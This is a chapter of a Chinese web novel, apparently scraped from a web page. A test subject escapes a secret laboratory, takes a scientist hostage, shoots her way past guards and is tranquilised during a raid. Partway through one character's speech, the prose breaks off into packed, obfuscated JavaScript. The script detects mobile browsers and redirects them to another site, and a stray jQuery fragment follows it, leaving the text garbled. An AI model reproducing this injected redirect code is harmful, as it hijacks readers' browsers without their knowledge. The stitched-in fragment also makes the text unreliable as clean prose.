基地实验室3区
“戴方,这个数据再确认一下。”
“行,我记下了。”
“常教授什么时候离开的?”
“昨天傍晚。谷老师怎么突然开始关心起常教授了,不寻常哦。”
“这么久没回来担心他背叛我们。”
“哈哈,谷老师一如既往的风趣幽默。说起一直没回来,厍温茂那家伙不会是在哪窝着睡午觉了吧。”
伏在电脑前的戴方站起身,伸了个懒腰,一脸困顿的打了个哈欠。
张邑注射新合成的基因药剂后的反馈实在是糟糕,为了弄清楚到底是哪里出了问题,有没有改进的地方,整个团队彻夜没睡觉,一直熬到现在。
多一个人过来帮忙,就能早点儿下班,省得继续熬。
同样疲惫的谷明知摘下护目镜,捏捏眉心:“不会,他不是那样的人。”
“那你说说他为什么没过来,总不能是在这里出现了什么意外吧?”
谷明知哂笑:“这里能出——”
“不好了,厍温茂他,他被3号打了。厍温茂说,对方拿走了他的门禁卡,让我赶紧来通知你们。”
一直和厍温茂送餐的人冲进来,满脸的惊魂未定。他等不到厍温茂,便回到观察区去找。人是找到了,但那副惨烈的模样实在是不敢多看。
“什么?!”谷明知震惊的站起身,不可置信的和戴方对视一眼。
实验体出逃不是小事,戴方立刻奔向警报器的方向。正要按下按钮,谷明知上前阻拦。
“别按,先别按。门外有持枪的雇佣兵在,她手无寸铁,凭她的个性,不会贸然从正门离开。”
戴方道:“那也要找到她啊。”
“慢慢找,总归不会离开实验室的范围,别打草惊蛇。”谷明知满脸阴沉,“常珲真会找麻烦,惯会养虎为患,就说了不该对那女人太好。”
“那我们现在要怎么做?”
“你呆在这里,把厍温茂的门禁卡改掉。”谷明知的手敲敲桌子,调出电脑里的建筑平面图,“把这几个权限给她打开,这几个关掉。”
“这能有用?都不知道她现在在哪……”戴方怀疑的说。瓮中捉鳖的前提是鳖得在瓮里,而不是瓮外。
谷明知眼里闪过嘲讽,回道:“我知道,我现在就过去,你守好这里。”
-
狭窄的通风管道内,江疏白有些费力的向前爬行。铁皮材料随着动作发出轻微响声。一开始还没什么,越往后走声音越大,几乎可以用明显来形容。
硬着头皮继续往前,抵达第一个分叉口,江疏白停了下来。
此时她已经爬了大概两三百米,按照观察区的房屋分布,不出意外已经离开这个范围。
只是问题来了,这两个口,哪个才是通往后厨的?
江疏白脑袋抵在板材上,正要向右拐先探探路,空气中突然窜出来饭菜的香气。她鼻子轻嗅,看向正前方。
那香气浓郁,如果没闻错的话,大师傅在炖肉,并给自己炒了个饭。
肚子叫起来,江疏白有些后悔出门没把饺子带上几个,剩下的给张邑吃也好啊。忍着饥饿,江疏白轻手轻脚的前行,眼中闪过一丝焦躁和迟疑。
如果后厨现在有人在,那真是大事不妙。她可不认为自己能在众目睽睽之下掀开地板,堂而皇之的走进去。
哦对,还得在他们面前从天而降,面不改色的落地。
江疏白尽可能的不发出声音,顺着气味,成功抵达后厨上方。从排气孔的缝隙往下看,除了冒着热气的炊具,没有人在旁边盯着。
又等了会儿,江疏白小心翼翼的取下面板,将自己的头探出外面。确认后厨里没人后,灵巧的跳在地面,快速寻找起来。
“你在找通往外界的出口吗?”幽幽的男声从身后传来。
江疏白警惕的抬起头,快速抄起一旁的长柄杓,躲在柜台后面。
男子推开后厨的大门,声音带笑:“比如说,藏在某个壁橱下面的活动面板。”
他怎么知道——
不对,他为什么要用这个谎言去诱骗张邑!
江疏白握紧了铁柄:“你是谁。”
“我?时间过得太久,江女士竟然已经忘了我的声音。不对,是我忘记了,那天我根本没用自己的声音和你说话。愿海神饶恕我的罪过。”
“是你。”江疏白眼神一凝。被带到这个鬼地方后,接触的第一个人,远在常珲前面那个疯子。
“对,是我。重新自我介绍一下,我叫谷明知。”谷明知言笑晏晏的说,“束手就擒怎么样,你折断厍温茂胳膊这件事我们一笔勾销,乖乖回到房间,就好像什么事都没发生一样,等你的常教授回来。”
等个屁!
江疏白不自觉在心里骂道。
万万没想到自己这么快就被暴露了,还被这样一个别有用心的疯子发现行踪。
“你为什么要骗张邑。”
“骗?申明一下,这件事我没说谎。”谷明知回答,缓慢靠近江疏白,“或许是在传话的过程中,多有失真吧!”
江疏白不想去辨别话中的真假,冷静下来:“你在试探他,试探他会不会逃走,对不对。”
谷明知长叹一声:“我这么做能有什么好处,再者说,我和他又不认识。”
“你认识。”江疏白再次捏紧手中的‘武器’,看向映在不锈钢面板上的倒影,“常珲是沈律妍的老师,张邑是沈律妍的丈夫,而你……你是沈律妍的学弟。你爱慕她,所以在她跳楼自杀后,憎恶身为丈夫的张邑没有保护好她,憎恶导致她死亡还不断伪装说谎的常珲,我说的对不对。”
“你怎么会——”谷明知脸色大变,“张邑那个废物竟然连这个都和你说,他竟然敢把小律的事情拿出来当谈资。”
“不,他没有。”江疏白快速站起身,用力将手中的厨具砸向左侧持电棍靠近的安保,“只是我胡诌的。”
江疏白话未落下,身姿灵巧的跃上台面,滑到谷明知的身后。两条胳膊死死锁住他的脖子,叫他的面部迅速涨红。
“不想他死就别过来。”江疏白看向跃跃欲试冲过来的安保,加重了自己手中的力气。
谷明知被勒的喘不过气来,连连冲着安保摆手:“听……听她的。”
见对方真的迟疑,不再犹豫,江疏白挟持着谷明知,缓缓向出口处倒退,并抽过途中的菜刀当自己的新武器。
但这只是杯水车薪。那安保人员的腰间配着把枪,只要他想,抢在自己干掉谷明知前开枪,自己就会死。
情况很不利,她现在该怎么办?对方带着人来堵自己,是有备无患,还是别有用意。
江疏白脑子飞快的思索各种对策,安保人员见她不说话,且频频往自己腰间看,以为她害怕了,立刻持枪威胁:“放开谷教授。”
“让我离开这,立刻照你说的做。”
两个人你进我退,其他安保人员的不断加入,让根本不知道自己现在身在哪里的江疏白额角紧绷。不能再拖下去了,再拖下去自己真的不能脱身了。
她需要暂且避开这些人,拿到武器强行突围。
江疏白扫视四周,缓慢靠近左侧通道。以迅雷不及掩耳之势,将手中的刀狠狠掷出去,叫一直尾随着的安保人员下意识的向右躲避。紧接着,江疏白用力把谷明知推过去,飞身向前,夺过他手中的枪。
惊叫和怒骂炸开。
“砰!砰!!”
两发子弹快速从暗处射出来,没有犹豫,江疏白立刻翻身滚到两个人身后,用他们当肉盾,开枪。通道里埋伏的人震惊的瞪大双眼,尚不明白发生了什么事,重重跪倒在地上。
女人快速消失在通道,丢下什么东西。谷明知一瘸一拐的走过去,捡起来看清楚后,愤怒的丢在随行的安保人员脸上。
“废物废物废物。”他怒吼,“不是说了不要带门禁卡,你们究竟是什么没脑子的蠢货。尤其是你,竟然被一个女人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733871|185896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夺了枪。”
安保人员木着脸,脑袋上青筋直跳。忍气吞声道:“是我们的错。”
“知道错还不赶紧弥补。”谷明知摸着自己脖子,声音嘶哑,“看我干什么,赶紧追啊!她逃不了太多地方,把她给我堵在A区。”
他阴恻恻的说:“我要叫她好看。”
常珲啊常珲,如果最后这个该死的女人死在他手里,可千万不要怪他,要怪就怪你自己出去这么长时间不回来,要怪就怪她‘胡作非为’。
-
鲜血淅沥沥的顺着胳膊往下流,滴在地板上。江疏白背部倚靠在监控的死角位置,忍不住的痉挛。
子弹擦着她的右臂射出去,没伤到要害,但会暴露她的行踪。
看着积聚起来的血液,江疏白用力撕下衣摆,捆绑在伤口的位置,牙齿咬住其中一头,用力系紧。
深吸两口气,唇色更加惨白干裂。
江疏白环视四周,拎过地上属于「吴建安」的身份卡,慢慢爬起身。
从意识到自己被“蹲点”,江疏白就没打算再用厍温茂的身份卡去开每道门,想都不用想,肯定有陷阱。
只是这安保的身份卡也用不了多久了……且这卡也去不了太多地方。要束手就擒吗?江疏白不甘心的想,还是说,继续周旋下去,直到常珲回来。
常珲和那谷明知不同,江疏白莫名的想,或许还有‘交谈’的余地。
不等做出决定,身后传来声音。
“你们两个去那面,我去这面。”
脚步声逐渐靠近,江疏白握紧手里的枪。她刚才检查过,这枪是最老式的型号,子弹仅仅够打五发,除却刚才打出去的,只剩下两发。
要准,要快。
江疏白越发沉静,心跳声一声重过一声,骤然炸开。
“什么声音。”
“发生什么事情了?”
“是爆炸!!”
“有人入侵,快往回走。”
轰然的隆鸣声不断响起,整个实验室剧烈晃动起来。警报装置发出尖锐的警告,红光闪烁,白炽灯骤灭。
所有安保人员快速朝爆炸声的位置跑去,江疏白轻呼,缓慢的站起身。刚回头,不等松懈,发现身后赫然站着一个紧张兮兮的陌生男子。
他穿着和谷明知一样的白大褂,手里举着把麻醉枪,在江疏白的注视中,毫不犹豫的扣下扳机。
江疏白不可置信的看向自己肩膀,踉跄几步,左手撑在柜台上,右手虚晃的将自动注射进体内的麻醉枪拔出来,咣当几声,掉在操作台上。
她模糊不清的抬起头,想要握住枪反击,却连抬起眼皮的力气都没有,整个人昏昏沉沉。
“你——”
“做得好,戴方!”
谷明知一瘸一拐的从后面赶过来,看向江疏白的眼神阴沉不已:“还好你说从监控里疑似发现了她的踪迹,提前赶过来。”
戴方接住晕眩的江疏白:“该死,都什么时候了,你还说她的事情。这里怎么会被联合署的人发现,他们已经攻了进来。常教授还是联系不上,我们该怎么办?”
“先离开这里。”谷明知说,“我已经叫其他人去收拾东西了,现在就走,从暗道走。”
“暗道?”戴方不解。
谷明知也不解释,冲到核心实验室,将所有基因药剂装进密码箱,而后快速打开电脑,启动数据自毁程序。
“跟我来。”他说。
爆炸声越发清晰,逐渐靠近几人所在的地方,像是海洋里的巨齿鲨嗅到了鲜血的味道,敏锐、尖利。
打开一扇又一扇的门,最后停在实验室最里面狭小的隔间,里面堆满了各种实验用的杂物。
谷明知站在角落,将手在置物架侧后方摸了摸,紧接着,身后的墙面朝两侧打开,露出一个空洞黝黑的‘门’。
海水的气味从里面传出来,嗅到这个味道的江疏白从昏睡中挣扎,费力的掀起眼皮。
“虞,虞舟。”